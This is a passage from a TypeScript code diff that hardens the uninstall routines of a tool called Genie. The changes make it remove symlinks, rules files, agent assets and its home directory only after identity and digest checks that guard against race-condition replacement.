Already gone before we reached it: an idempotent no-op, not a failure. if ((error as NodeJS.ErrnoException).code === 'ENOENT') return; throw error; } - if (expectedTarget !== undefined && liveTarget !== expectedTarget) { + if ( + expected !== undefined && + (liveTarget !== expected.target || !samePhysicalRootIdentity(liveIdentity, expected.identity)) + ) { result.kept.push(linkPath); result.identityMismatch.push(linkPath); return; } - unlinkSync(linkPath); + const capture = captureExpectedRemovalPath( + linkPath, + expected?.identity ?? liveIdentity, + 'hermes-link', + beforeCapture, + ); + const capturedStat = lstatSync(capture.capturedPath); + const capturedTarget = capturedStat.isSymbolicLink() ? readlinkSync(capture.capturedPath) : null; + if (!capturedStat.isSymbolicLink() || capturedTarget !== (expected?.target ?? liveTarget)) { + restoreCapturedNoClobber(capture, `captured Hermes link content changed: ${linkPath}`); + } + deleteCapturedRemovalPath(capture); result.removed.push(linkPath); } @@ -1362,6 +1833,77 @@ function removeManagedAgentAssets( } } +function recordAgentAssetIdentityMismatch(path: string, result: AgentSyncRemovalResult, advisory?: string): void { + result.kept.push(path); + result.identityMismatch.push(path); + if (advisory !== undefined) pushAgentAdvisory(result, advisory); +} + +/** Reconcile and mutate one collected non-agent asset against its recorded authority. */ +function removeCollectedManagedAsset( + asset: AgentSyncAsset, + expectedIdentity: AgentAssetIdentity | undefined, + targets: AgentSyncRemovalTargets, + options: AgentSyncRemovalOptions, + result: AgentSyncRemovalResult, +): void { + try { + if (asset.kind === 'workflow' && asset.metadataPath) { + const disposition = removeManagedWorkflow(join(targets.claudeDir ?? resolveClaudeDir(), 'workflows'), { + beforeRemoval: options.beforeWorkflowRemoval, + expectedIdentity: expectedIdentity?.kind === 'workflow' ? expectedIdentity : undefined, + }); + recordAgentAssetDisposition(disposition, asset.path, result); + return; + } + if (asset.kind === 'skill') { + const disposition = removeManagedSkillTree(asset.path, { + genieHome: targets.genieHome, + agent: asset.agent, + beforeManagedDirRemoval: options.beforeManagedDirRemoval, + expectedIdentity: expectedIdentity?.kind === 'skill' ? expectedIdentity : undefined, + }); + recordAgentAssetDisposition(disposition, asset.path, result); + return; + } + removeManagedLink( + asset.path, + expectedIdentity?.kind === 'link' ? expectedIdentity : undefined, + result, + options.beforeManagedLinkCapture, + ); + } catch (error) { + if (error instanceof UninstallIdentityMismatchError) { + recordAgentAssetIdentityMismatch(asset.path, result, error.message); + return; + } + result.failures.push({ path: asset.path, detail: errorMessage(error) }); + } +} + +/** Settle recorded links that disappeared from live collection without widening the plan. */ +function removeUncollectedPlannedLinks( + assets: AgentSyncAsset[], + plannedByPath: Map | null, + options: AgentSyncRemovalOptions, + result: AgentSyncRemovalResult, +): void { + if (plannedByPath === null) return; + const collectedPaths = new Set(assets.map((asset) => resolve(asset.path))); + for (const [path, identity] of plannedByPath) { + if (identity.kind !== 'link' || collectedPaths.has(path)) continue; + try { + removeManagedLink(path, identity, result, options.beforeManagedLinkCapture); + } catch (error) { + if (error instanceof UninstallIdentityMismatchError) { + recordAgentAssetIdentityMismatch(path, result, error.message); + } else { + result.failures.push({ path, detail: errorMessage(error) }); + } + } + } +} + function removeCollectedAgentAssets( assets: AgentSyncAsset[], targets: AgentSyncRemovalTargets, @@ -1376,41 +1918,20 @@ function removeCollectedAgentAssets( // now occupying the path is a physical replacement of a different kind. Refuse // it as an identity mismatch rather than degrading to an unbound removal. if (expectedIdentity !== undefined && expectedIdentity.kind !== asset.kind) { - result.kept.push(asset.path); - result.identityMismatch.push(asset.path); + recordAgentAssetIdentityMismatch(asset.path, result); continue; } if (asset.kind === 'agent') { if (expectedIdentity !== undefined && !agentIdentityMatches(expectedIdentity, asset)) { - result.kept.push(asset.path); - result.identityMismatch.push(asset.path); + recordAgentAssetIdentityMismatch(asset.path, result); } else { agentAssets.push(asset); } continue; } - try { - if (asset.kind === 'workflow' && asset.metadataPath) { - const disposition = removeManagedWorkflow(join(targets.claudeDir ?? resolveClaudeDir(), 'workflows'), { - beforeRemoval: options.beforeWorkflowRemoval, - expectedIdentity: expectedIdentity?.kind === 'workflow' ? expectedIdentity : undefined, - }); - recordAgentAssetDisposition(disposition, asset.path, result); - } else if (asset.kind === 'skill') { - const disposition = removeManagedSkillTree(asset.path, { - genieHome: targets.genieHome, - agent: asset.agent, - beforeManagedDirRemoval: options.beforeManagedDirRemoval, - expectedIdentity: expectedIdentity?.kind === 'skill' ? expectedIdentity : undefined, - }); - recordAgentAssetDisposition(disposition, asset.path, result); - } else { - removeManagedLink(asset.path, expectedIdentity?.kind === 'link' ? expectedIdentity.target : undefined, result); - } - } catch (error) { - result.failures.push({ path: asset.path, detail: error instanceof Error ? error.message : String(error) }); - } + removeCollectedManagedAsset(asset, expectedIdentity, targets, options, result); } + removeUncollectedPlannedLinks(assets, plannedByPath, options, result); removeManagedAgentAssets(agentAssets, targets, result); } @@ -1447,6 +1968,7 @@ export interface UninstallBatchExecutionOperations { progress: UninstallBatchDecision['progress'], ) => UninstallBatchDecision; clearDecision?: (genieHome: string, digest: string) => void; + discardLegacyDecision?: (genieHome: string) => void; } export interface UninstallBatchProgressController { @@ -1475,21 +1997,24 @@ export function executeUninstallBatch( const recordDecision = operations.recordDecision ?? recordUninstallBatchDecision; const updateDecision = operations.updateDecision ?? updateUninstallBatchProgress; const clearDecision = operations.clearDecision ?? clearUninstallBatchDecision; + const discardLegacyDecision = operations.discardLegacyDecision ?? discardLegacyUninstallBatchDecision; let decision: UninstallBatchDecision; let legacyMigrationNote: string | null = null; try { decision = readDecision(genieHome) ?? recordDecision(genieHome, requestedScope); } catch (error) { if (!(error instanceof LegacyUninstallBatchJournalError)) throw error; - // Authentic v1 journal from a prior release: discard it and re-record a fresh - // v2 decision from the CURRENT live scope. Safe because every published + // Authentic legacy journal from a prior release: discard it and re-record a + // fresh v3 decision from the CURRENT live scope. In particular, v2 carried + // only a pathname-presence boolean for GENIE_HOME and can never authorize a + // deletion. Safe because every published // external transaction was recovered before this ran and each member removal // is independently idempotent/transactional; an in-flight v1 member is only // noted (recovered transactionally), never replayed from stale authority. if (error.interruptedMember !== null) { - legacyMigrationNote = `Re-planned a legacy uninstall batch from current live state; its interrupted member ${error.interruptedMember} was recovered transactionally, not replayed.`; + legacyMigrationNote = `Re-planned a legacy v${error.schemaVersion} uninstall batch from current live state; its interrupted member ${error.interruptedMember} was recovered transactionally, not replayed.`; } - discardLegacyUninstallBatchDecision(genieHome); + discardLegacyDecision(genieHome); decision = recordDecision(genieHome, requestedScope); } if (decision.progress.active !== null) { @@ -1658,11 +2183,16 @@ export function inspectRuntimeClientAvailability(cwd = process.cwd()): RuntimeCl export interface UninstallPlan { genieDir: string; hasGenieDir: boolean; + genieHomeIdentity: PhysicalRootIdentity | null; + genieHomeRemovalDigest: string | null; hasUnprovenHookScript: boolean; legacyReport: ReturnType; hasOwnedRules: boolean; + ownedRules: ProvenV4Rules | null; existingSymlinks: string[]; + ownedSourceSymlinks: OwnedSourceSymlink[]; agentAssets: AgentSyncAsset[]; + claudeAgentManifest: AgentFilesManifestView; hasAgentAssets: boolean; codexRoleAgents: ReturnType; managedRoleAgents: ReturnType['entries']; @@ -1675,10 +2205,13 @@ export interface UninstallPlan { export interface UninstallPlanInspectors { hasGenieDir?: (path: string) => boolean; + captureGenieHomeIdentity?: (path: string) => PhysicalRootIdentity | null; + captureGenieHomeRemovalDigest?: (path: string, identity: PhysicalRootIdentity) => string; hookScriptExists?: () => boolean; detectV4Install?: typeof detectV4Install; existingSymlinks?: (genieDir: string) => string[]; collectAgentSyncAssets?: typeof collectAgentSyncAssets; + inspectAgentFilesManifestState?: (dir: string) => AgentFilesManifestView; inspectCodexAgentOwnership?: typeof inspectCodexAgentOwnership; inspectRuntimeClientAvailability?: typeof inspectRuntimeClientAvailability; inspectRuntimeIntegrationEvidence?: typeof inspectRuntimeIntegrationEvidence; @@ -1686,26 +2219,99 @@ export interface UninstallPlanInspectors { hasPendingTransactions?: typeof hasPendingUninstallTransactions; } +function captureProvenV4RulesIdentity(path: string): ProvenV4Rules { + const before = lstatSync(path); + if (!before.isFile() || before.isSymbolicLink()) { + throw new Error(`marker-proven v4 rules are not a physical regular file: ${path}`); + } + const digest = createHash('sha256').update(readFileSync(path)).digest('hex'); + const after = lstatSync(path); + if (!samePhysicalRootIdentity(physicalRootIdentity(before), physicalRootIdentity(after))) { + throw new Error(`marker-proven v4 rules changed while their identity was captured: ${path}`); + } + return { path: resolve(path), digest, identity: physicalRootIdentity(after) }; +} + +function sameProvenV4Rules(left: ProvenV4Rules, right: ProvenV4Rules): boolean { + return ( + left.path === right.path && left.digest === right.digest && samePhysicalRootIdentity(left.identity, right.identity) + ); +} + /** Build a complete read-only uninstall plan. Call again under the lease before mutation. */ export function inspectUninstallPlan( genieDir = getGenieDir(), removeMarketplace = false, inspectors: UninstallPlanInspectors = {}, ): UninstallPlan { - const legacyReport = (inspectors.detectV4Install ?? detectV4Install)(); - const agentAssets = (inspectors.collectAgentSyncAssets ?? collectAgentSyncAssets)(); + const detectLegacy = inspectors.detectV4Install ?? detectV4Install; + const legacyReport = detectLegacy(); + let ownedRules: ProvenV4Rules | null = null; + if (legacyReport.rulesFile.status === 'v4-markers') { + const before = captureProvenV4RulesIdentity(legacyReport.rulesFile.path); + const confirmed = detectLegacy(); + if (confirmed.rulesFile.status !== 'v4-markers' || resolve(confirmed.rulesFile.path) !== before.path) { + throw new Error('marker-proven v4 rules changed while the uninstall plan was inspected'); + } + const after = captureProvenV4RulesIdentity(confirmed.rulesFile.path); + if (!sameProvenV4Rules(before, after)) { + throw new Error('marker-proven v4 rules changed while the uninstall plan was inspected'); + } + ownedRules = after; + } + // Production consumes one manifest inspection for both the asset allowlist + // and source-retirement gate. Test-only legacy injectors remain paired with + // an explicit manifest seam instead of causing a second production read. + const agentInspection = + inspectors.collectAgentSyncAssets === undefined && inspectors.inspectAgentFilesManifestState === undefined + ? inspectAgentSyncAssets() + : { + assets: (inspectors.collectAgentSyncAssets ?? collectAgentSyncAssets)(), + claudeAgentManifest: + inspectors.inspectAgentFilesManifestState?.(join(resolveClaudeDir(), 'agents')) ?? + ({ kind: 'absent' } as const), + }; + const agentAssets = agentInspection.assets; + const claudeAgentManifest = agentInspection.claudeAgentManifest; const codexRoleAgents = (inspectors.inspectCodexAgentOwnership ?? inspectCodexAgentOwnership)(); const runtimeClients = (inspectors.inspectRuntimeClientAvailability ?? inspectRuntimeClientAvailability)(); + const genieHomeIdentity = + inspectors.captureGenieHomeIdentity !== undefined || inspectors.hasGenieDir !== undefined + ? (inspectors.captureGenieHomeIdentity?.(genieDir) ?? null) + : inspectRemovableGenieRoot(genieDir); + const hasGenieDir = inspectors.hasGenieDir?.(genieDir) ?? genieHomeIdentity !== null; + if (hasGenieDir !== (genieHomeIdentity !== null)) { + throw new Error('uninstall plan must bind every removable Genie root to its physical identity'); + } + const genieHomeRemovalDigest = + genieHomeIdentity === null + ? null + : (inspectors.captureGenieHomeRemovalDigest ?? captureGenieHomeRemovalDigest)(genieDir, genieHomeIdentity); + const existingSymlinks = + inspectors.existingSymlinks?.(genieDir) ?? + SYMLINKS.filter((name) => isGenieSymlink(join(LOCAL_BIN, name), genieDir)); + const ownedSourceSymlinks = existingSymlinks.map((name) => { + if (!SYMLINKS.some((candidate) => candidate === name)) { + throw new Error(`uninstall plan contains an unsupported source symlink name: ${name}`); + } + const owned = ownedSourceSymlink(join(LOCAL_BIN, name), genieDir); + if (owned === null) + throw new Error(`source-install symlink changed while the uninstall plan was recorded: ${name}`); + return owned; + }); return { genieDir, - hasGenieDir: (inspectors.hasGenieDir ?? hasRemovableGenieInstallState)(genieDir), + hasGenieDir, + genieHomeIdentity, + genieHomeRemovalDigest, hasUnprovenHookScript: (inspectors.hookScriptExists ?? hookScriptExists)(), legacyReport, - hasOwnedRules: legacyReport.rulesFile.status === 'v4-markers', - existingSymlinks: - inspectors.existingSymlinks?.(genieDir) ?? - SYMLINKS.filter((name) => isGenieSymlink(join(LOCAL_BIN, name), genieDir)), + hasOwnedRules: ownedRules !== null, + ownedRules, + existingSymlinks, + ownedSourceSymlinks, agentAssets, + claudeAgentManifest, hasAgentAssets: agentAssets.length > 0, codexRoleAgents, managedRoleAgents: codexRoleAgents.entries.filter((entry) => entry.ownership.startsWith('managed-')), @@ -1817,7 +2423,12 @@ function removeFlatAgentBatch( ); appendRemovalAdvisories(removal, result); if (removal.failures.length > 0) { - if (removal.removed.length === 0 && removal.kept.length === 0) progress.abort(member); + // removeAgentSyncAssetsLocked has returned, so there is no ambiguous in-flight + // mutation left behind. Any successful per-file outcomes are idempotent and + // the immutable batch scope can safely retry the still-present members. + // Clear the active receipt on every structured failure; retaining it here + // permanently strands the batch after a partial success. + progress.abort(member); recordRemovalFailures(removal, 'Removing flat agent', result); return; } @@ -1962,34 +2573,110 @@ function tryRemoveStep(label: string, successMsg: string, fn: () => void): Unins } } -/** Remove only marker-proven v4 rules, with recovery outside the deleted Genie home. */ -function removeProvenV4Rules(genieDir: string): void { - const report = detectV4Install(); - if (report.rulesFile.status !== 'v4-markers') return; +export interface V4RulesRemovalOptions { + /** Runs after the exact inode is proven and before it is atomically captured. */ + beforeCapture?: (path: string) => void; + /** Runs after the captured bytes are durably backed up but before disposal. */ + afterBackup?: (path: string, backupPath: string) => void; +} + +/** Atomically capture and remove only the exact marker-proven v4 rules object. */ +export function removeProvenV4Rules( + genieDir: string, + rules: ProvenV4Rules, + options: V4RulesRemovalOptions = {}, +): string | null { + const initialStat = lstatOrNull(rules.path); + // A user or a prior idempotent attempt may remove the recorded object before + // this member begins. There is then no live pathname authority to exercise. + if (initialStat === null) return null; + if (!initialStat.isFile() || initialStat.isSymbolicLink()) { + throw new UninstallIdentityMismatchError( + `recorded marker-proven v4 rules were replaced before capture: ${rules.path}`, + ); + } + let live: ProvenV4Rules; + try { + live = captureProvenV4RulesIdentity(rules.path); + } catch (error) { + const after = lstatOrNull(rules.path); + if (after === null) return null; + if (!samePhysicalRootIdentity(physicalRootIdentity(initialStat), physicalRootIdentity(after))) { + throw new UninstallIdentityMismatchError( + `recorded marker-proven v4 rules were replaced while being inspected: ${rules.path}`, + ); + } + throw error; + } + if (!sameProvenV4Rules(live, rules)) { + throw new UninstallIdentityMismatchError(`recorded marker-proven v4 rules changed before capture: ${rules.path}`); + } + const capture = captureExpectedRemovalPath(rules.path, rules.identity, 'v4-rules', options.beforeCapture); + const capturedStat = lstatSync(capture.capturedPath); + const capturedBytes = + capturedStat.isFile() && !capturedStat.isSymbolicLink() ? readFileSync(capture.capturedPath) : null; + const capturedDigest = capturedBytes === null ? null : createHash('sha256').update(capturedBytes).digest('hex'); + if (capturedBytes === null || capturedDigest !== rules.digest) { + restoreCapturedNoClobber(capture, `captured marker-proven v4 rules content changed: ${rules.path}`); + } const recoveryRoot = join(dirname(resolve(genieDir)), '.genie-recovery', 'uninstall-v4'); - mkdirSync(recoveryRoot, { recursive: true }); - const backup = join(recoveryRoot, `${basename(report.rulesFile.path)}.${Date.now()}`); - copyFileSync(report.rulesFile.path, backup); - unlinkSync(report.rulesFile.path); + ensurePhysicalRecoveryRoot(recoveryRoot); + const backup = join(recoveryRoot, `${basename(rules.path)}.${randomBytes(12).toString('hex')}`); + writeFileSync(backup, capturedBytes, { flag: 'wx', mode: capturedStat.mode & 0o777 }); + const backupFd = openSync(backup, 'r'); + try { + fsyncSync(backupFd); + } finally { + closeSync(backupFd); + } + fsyncDirectoryBestEffort(recoveryRoot); + options.afterBackup?.(rules.path, backup); + const finalStat = lstatSync(capture.capturedPath); + const finalDigest = finalStat.isFile() + ? createHash('sha256').update(readFileSync(capture.capturedPath)).digest('hex') + : null; + if ( + !samePhysicalRootIdentity(physicalRootIdentity(finalStat), capture.capturedIdentity) || + finalDigest !== rules.digest + ) { + throw new UninstallIdentityMismatchError( + `captured v4 rules changed after backup; preserved quarantine: ${capture.quarantineRoot}`, + ); + } + deleteCapturedRemovalPath(capture); + return backup; } -function removeRulesMember( +export function removeRulesMember( genieDir: string, - ownedRulesPath: string | null, + ownedRules: ProvenV4Rules | null, + result: UninstallResult, progress: UninstallBatchProgressController, + options: V4RulesRemovalOptions = {}, ): UninstallFailure | null { - if (ownedRulesPath === null) return null; - const member = uninstallBatchMemberId('rules', ownedRulesPath); - if (progress.isCompleted(member)) return null; + if (ownedRules === null) return null; + const member = uninstallBatchMemberId('rules', ownedRules.path); + if (progress.isCompleted(member) || progress.isPreserved(member)) return null; progress.begin(member); - const failure = tryRemoveStep( - 'Backing up and removing marker-proven v4 orchestration rules...', - `Marker-proven orchestration rules removed (${contractPath(ownedRulesPath)})`, - () => removeProvenV4Rules(genieDir), - ); - if (failure) progress.abort(member); - else progress.complete(member); - return failure; + console.log('\x1b[2mBacking up and removing marker-proven v4 orchestration rules...\x1b[0m'); + try { + removeProvenV4Rules(genieDir, ownedRules, options); + progress.complete(member); + console.log(` \x1b[32m+\x1b[0m Marker-proven orchestration rules removed (${contractPath(ownedRules.path)})`); + return null; + } catch (error) { + const detail = errorMessage(error); + if (error instanceof UninstallIdentityMismatchError) { + progress.preserve(member); + recordPreservation(result, { + step: `Preserving v4 rules ${contractPath(ownedRules.path)}`, + detail, + }); + return null; + } + progress.abort(member); + return { step: 'Backing up and removing marker-proven v4 orchestration rules', detail }; + } } function isNodeErrorCode(error: unknown, code: string): boolean { @@ -2000,26 +2687,269 @@ function preservedGenieDirEntry(name: string): boolean { return name === 'state-backups' || name === AGENT_SYNC_LOCK_NAME; } -/** Remove canonical install state while retaining durable backups and the active sync lock generation. */ -function removeGenieDirPreservingStateBackups(genieDir: string): void { - let stat: Stats; +export interface GenieHomeRemovalOptions { + /** Deterministic barrier after authenticated planning but before the live-tree commitment check. */ + beforeRemovalSnapshot?: (genieDir: string) => void; + /** Deterministic race barrier used by destructive-path fixtures. */ + beforeEntryCapture?: (entryPath: string) => void; + /** Runs after the live name is captured but before root identity is revalidated. */ + afterEntryCapture?: (entryPath: string, capturedPath: string) => void; + /** Runs after expected children are removed but before a validated directory is removed. */ + beforeDirectoryRemoval?: (directoryPath: string) => void; +} + +interface GenieRemovalSnapshotBase { + identity: PhysicalRootIdentity; + nlink: number; +} + +type GenieRemovalSnapshot = + | (GenieRemovalSnapshotBase & { + kind: 'directory'; + entries: Array<{ name: string; snapshot: GenieRemovalSnapshot }>; + }) + | (GenieRemovalSnapshotBase & { kind: 'file'; digest: string }) + | (GenieRemovalSnapshotBase & { kind: 'symlink'; target: string }) + | (GenieRemovalSnapshotBase & { kind: 'other'; physicalKind: string }); + +function sameStringList(left: readonly string[], right: readonly string[]): boolean { + return left.length === right.length && left.every((value, index) => value === right[index]); +} + +function sameRemovalSnapshotBase(expected: GenieRemovalSnapshotBase, current: GenieRemovalSnapshotBase): boolean { + return expected.nlink === current.nlink && samePhysicalRootIdentity(expected.identity, current.identity); +} + +function specialPhysicalKind(stat: Stats): string { + if (stat.isFIFO()) return 'fifo'; + if (stat.isSocket()) return 'socket'; + if (stat.isBlockDevice()) return 'block-device'; + if (stat.isCharacterDevice()) return 'character-device'; + return 'other'; +} + +function assertStableRemovalNode(path: string, before: Stats, after: Stats): void { + if ( + !samePhysicalRootIdentity(physicalRootIdentity(before), physicalRootIdentity(after)) || + before.nlink !== after.nlink + ) { + throw new Error(`Genie install entry changed while its exact removal snapshot was captured: ${path}`); + } +} + +/** + * Capture an exact physical tree. Unlike managed-skill digests this intentionally + * has no manifest exclusions: every descendant name, physical identity, mode, + * file byte, and symlink target is part of source-removal authority. + */ +function captureGenieRemovalSnapshot(path: string): GenieRemovalSnapshot { + const before = lstatSync(path); + const base = { identity: physicalRootIdentity(before), nlink: before.nlink }; + if (before.isDirectory() && !before.isSymbolicLink()) { + const names = readdirSync(path).sort(); + const entries = names.map((name) => ({ name, snapshot: captureGenieRemovalSnapshot(join(path, name)) })); + const afterNames = readdirSync(path).sort(); + const after = lstatSync(path); + assertStableRemovalNode(path, before, after); + if (!sameStringList(names, afterNames)) { + throw new Error(`Genie install directory changed while its exact removal snapshot was captured: ${path}`); + } + return { ...base, kind: 'directory', entries }; + } + if (before.isFile()) { + const digest = createHash('sha256').update(readFileSync(path)).digest('hex'); + assertStableRemovalNode(path, before, lstatSync(path)); + return { ...base, kind: 'file', digest }; + } + if (before.isSymbolicLink()) { + const target = readlinkSync(path); + assertStableRemovalNode(path, before, lstatSync(path)); + return { ...base, kind: 'symlink', target }; + } + assertStableRemovalNode(path, before, lstatSync(path)); + return { ...base, kind: 'other', physicalKind: specialPhysicalKind(before) }; +} + +function sameGenieRemovalSnapshot(expected: GenieRemovalSnapshot, current: GenieRemovalSnapshot): boolean { + if (expected.kind !== current.kind || !sameRemovalSnapshotBase(expected, current)) return false; + if (expected.kind === 'file') return current.kind === 'file' && expected.digest === current.digest; + if (expected.kind === 'symlink') return current.kind === 'symlink' && expected.target === current.target; + if (expected.kind === 'other') { + return current.kind === 'other' && expected.physicalKind === current.physicalKind; + } + if (current.kind !== 'directory' || expected.entries.length !== current.entries.length) return false; + return expected.entries.every((entry, index) => { + const currentEntry = current.entries[index]; + return ( + currentEntry !== undefined && + entry.name === currentEntry.name && + sameGenieRemovalSnapshot(entry.snapshot, currentEntry.snapshot) + ); + }); +} + +function assertGenieRemovalSnapshot(path: string, expected: GenieRemovalSnapshot): void { + let current: GenieRemovalSnapshot; try { - stat = lstatSync(genieDir); + current = captureGenieRemovalSnapshot(path); } catch (error) { - if (isNodeErrorCode(error, 'ENOENT')) return; - throw error; + throw new Error(`captured Genie install tree could not be revalidated: ${errorMessage(error)}`); } - if (!stat.isDirectory() || stat.isSymbolicLink()) { - rmSync(genieDir, { recursive: true, force: true }); - return; + if (!sameGenieRemovalSnapshot(expected, current)) { + throw new Error('captured Genie install tree changed from its exact root-bound snapshot'); } - const names = readdirSync(genieDir); - if (!names.some(preservedGenieDirEntry)) { - rmSync(genieDir, { recursive: true, force: true }); +} + +interface GenieRemovalEntrySnapshot { + name: string; + snapshot: GenieRemovalSnapshot; +} + +function removalSnapshotDigest(entries: readonly GenieRemovalEntrySnapshot[]): string { + return createHash('sha256').update(JSON.stringify(entries)).digest('hex'); +} + +function captureGenieRemovalEntries( + genieDir: string, + expectedIdentity: PhysicalRootIdentity, +): GenieRemovalEntrySnapshot[] { + if (assertExpectedGenieRoot(genieDir, expectedIdentity) !== 'present') return []; + const names = readdirSync(genieDir) + .filter((name) => !preservedGenieDirEntry(name)) + .sort(); + const entries = names.map((name) => ({ name, snapshot: captureGenieRemovalSnapshot(join(genieDir, name)) })); + if (assertExpectedGenieRoot(genieDir, expectedIdentity) !== 'present') return []; + const afterNames = readdirSync(genieDir) + .filter((name) => !preservedGenieDirEntry(name)) + .sort(); + if (!sameStringList(names, afterNames)) { + throw new Error('Genie install root changed while its exact removal commitment was captured'); + } + return entries; +} + +function captureGenieHomeRemovalDigest(genieDir: string, expectedIdentity: PhysicalRootIdentity): string { + return removalSnapshotDigest(captureGenieRemovalEntries(genieDir, expectedIdentity)); +} + +/** + * Delete a preflight-matched tree without a recursive pathname removal. Every + * subtree is revalidated immediately before it is touched, and rmdir is the + * final fail-closed check: a late foreign descendant makes it fail and survive. + */ +function removeValidatedGenieTree( + path: string, + expected: GenieRemovalSnapshot, + options: GenieHomeRemovalOptions, +): void { + assertGenieRemovalSnapshot(path, expected); + if (expected.kind !== 'directory') { + unlinkSync(path); return; } - for (const name of names) { - if (!preservedGenieDirEntry(name)) rmSync(join(genieDir, name), { recursive: true, force: true }); + for (const entry of expected.entries) { + removeValidatedGenieTree(join(path, entry.name), entry.snapshot, options); + } + options.beforeDirectoryRemoval?.(path); + rmdirSync(path); +} + +function removeEmptyCaptureDir(path: string): void { + try { + rmdirSync(path); + } catch (error) { + if (!isNodeErrorCode(error, 'ENOENT') && !isNodeErrorCode(error, 'ENOTEMPTY')) throw error; + } +} + +function assertExpectedGenieRoot(genieDir: string, expectedIdentity: PhysicalRootIdentity): 'present' | 'absent' { + const current = lstatOrNull(genieDir); + if (current === null) return 'absent'; + if (!samePhysicalRootIdentity(expectedIdentity, physicalRootIdentity(current))) { + throw new Error(`recorded Genie install root was replaced; preserved the replacement at ${genieDir}`); + } + if (!current.isDirectory() || current.isSymbolicLink()) { + throw new Error(`recorded Genie install root is no longer a physical directory: ${genieDir}`); + } + return 'present'; +} + +/** + * Remove only attempt-owned captures, never the live GENIE_HOME pathname. + * + * Each removable child is atomically parked outside the root. The root's + * physical identity is then revalidated before that captured object may be + * deleted. A pathname replacement therefore survives (at its live name or at + * the reported capture path), while state-backups and the active lock never + * leave the original root. + */ +function removeOneCommittedGenieEntry( + genieDir: string, + expectedIdentity: PhysicalRootIdentity, + entry: GenieRemovalEntrySnapshot, + options: GenieHomeRemovalOptions, +): 'removed' | 'root-absent' { + const entryPath = join(genieDir, entry.name); + const captureDir = mkdtempSync(join(dirname(genieDir), `.${basename(genieDir)}.uninstall-capture-`)); + const capturedPath = join(captureDir, 'object'); + let captured = false; + let capturedFromExpectedRoot = false; + try { + options.beforeEntryCapture?.(entryPath); + try { + renameSync(entryPath, capturedPath); + captured = true; + capturedFromExpectedRoot = samePhysicalRootIdentity(expectedIdentity, capturePhysicalRootIdentity(genieDir)); + fsyncDirectoryBestEffort(dirname(genieDir)); + fsyncDirectoryBestEffort(captureDir); + } catch (error) { + if (!isNodeErrorCode(error, 'ENOENT')) throw error; + const state = assertExpectedGenieRoot(genieDir, expectedIdentity); + if (state === 'absent') return 'root-absent'; + throw new Error(`Genie install entry changed before capture; preserved live state at ${entryPath}`); + } + options.afterEntryCapture?.(entryPath, capturedPath); + if (assertExpectedGenieRoot(genieDir, expectedIdentity) !== 'present') { + throw new Error('Genie install root disappeared after capture'); + } + // Compare the entire parked tree before consulting the root observation. + // This makes nested-ABA regressions exercise the full-tree boundary rather + // than passing only because the replacement root happened to be observed. + assertGenieRemovalSnapshot(capturedPath, entry.snapshot); + if (!capturedFromExpectedRoot) throw new Error('Genie install entry was captured from a replacement root'); + removeValidatedGenieTree(capturedPath, entry.snapshot, options); + captured = false; + fsyncDirectoryBestEffort(captureDir); + fsyncDirectoryBestEffort(dirname(genieDir)); + return 'removed'; + } catch (error) { + if (captured) throw new Error(`${errorMessage(error)}; captured bytes preserved at ${capturedPath}`); + throw error; + } finally { + if (!captured) removeEmptyCaptureDir(captureDir); + } +} + +function removeGenieDirPreservingStateBackups( + genieDir: string, + expectedIdentity: PhysicalRootIdentity, + expectedRemovalDigest: string, + options: GenieHomeRemovalOptions = {}, +): void { + if (assertExpectedGenieRoot(genieDir, expectedIdentity) === 'absent') return; + options.beforeRemovalSnapshot?.(genieDir); + const entries = captureGenieRemovalEntries(genieDir, expectedIdentity); + if (removalSnapshotDigest(entries) !== expectedRemovalDigest) { + throw new Error('Genie install tree changed after its authenticated removal commitment; preserved live bytes'); + } + if (assertExpectedGenieRoot(genieDir, expectedIdentity) !== 'present') return; + for (const entry of entries) { + if (removeOneCommittedGenieEntry(genieDir, expectedIdentity, entry, options) === 'root-absent') return; + } + if (assertExpectedGenieRoot(genieDir, expectedIdentity) === 'absent') return; + const unexpected = readdirSync(genieDir).filter((name) => !preservedGenieDirEntry(name)); + if (unexpected.length > 0) { + throw new Error(`new Genie install state appeared during removal and was preserved: ${unexpected.join(', ')}`); } } @@ -2037,33 +2967,63 @@ export function hasRemovableGenieInstallState(genieDir: string): boolean { function removeGenieHomeMember( genieDir: string, - genieHomePresent: boolean, + expectedIdentity: PhysicalRootIdentity | null, + expectedRemovalDigest: string | null, progress: UninstallBatchProgressController, + options: GenieHomeRemovalOptions = {}, ): UninstallFailure | null { - if (!genieHomePresent) return null; + if (expectedIdentity === null && expectedRemovalDigest === null) return null; + if (expectedIdentity === null || expectedRemovalDigest === null) { + throw new Error('Genie root removal authority is incomplete; identity and exact commitment are both required'); + } const member = uninstallBatchMemberId('home', resolve(genieDir)); - if (progress.isCompleted(member)) return null; + if (progress.isCompleted(member) || progress.isPreserved(member)) return null; + const manifest = readAgentFilesManifestState(join(resolveClaudeDir(), 'agents')); + if (manifest.kind === 'unsafe' || (manifest.kind === 'managed' && Object.keys(manifest.files).length > 0)) { + return { + step: 'Validating Claude agent ownership manifest before source removal', + detail: + manifest.kind === 'unsafe' + ? `manifest is unsafe: ${manifest.reason}` + : `manifest still owns ${Object.keys(manifest.files).length} role-agent file(s)`, + }; + } progress.begin(member); const failure = tryRemoveStep('Removing genie directory...', 'Install state removed (state backups preserved)', () => - removeGenieDirPreservingStateBackups(genieDir), + removeGenieDirPreservingStateBackups(genieDir, expectedIdentity, expectedRemovalDigest, options), ); if (failure === null) progress.complete(member); + else progress.abort(member); return failure; } -function removeSymlinkMembers( +export function removeSymlinkMembers( genieDir: string, names: UninstallBatchScope['symlinks'], + result: UninstallResult, progress: UninstallBatchProgressController, + localBin = LOCAL_BIN, + options: Pick = {}, ): UninstallFailure[] { const failures: UninstallFailure[] = []; if (names.length === 0) return failures; console.log('\x1b[2mRemoving symlinks...\x1b[0m'); - for (const name of names) { - const member = uninstallBatchMemberId('symlink', name); - if (progress.isCompleted(member)) continue; + for (const symlink of names) { + const member = uninstallBatchMemberId('symlink', symlink.name); + if (progress.isCompleted(member) || progress.isPreserved(member)) continue; progress.begin(member); - const symlinks = removeSymlinks(LOCAL_BIN, genieDir, [name]); + const symlinks = removeSymlinks(localBin, genieDir, [symlink.name], { + planned: new Map([[symlink.name, symlink]]), + beforeCapture: options.beforeCapture, + }); + if (symlinks.preserved.includes(symlink.name)) { + progress.preserve(member); + recordPreservation(result, { + step: `Preserving source symlink ${symlink.name}`, + detail: symlinks.failures.map((failure) => failure.detail).join('; '), + }); + continue; + } if (symlinks.failures.length > 0) { progress.abort(member); for (const failure of symlinks.failures) { @@ -2072,7 +3032,7 @@ function 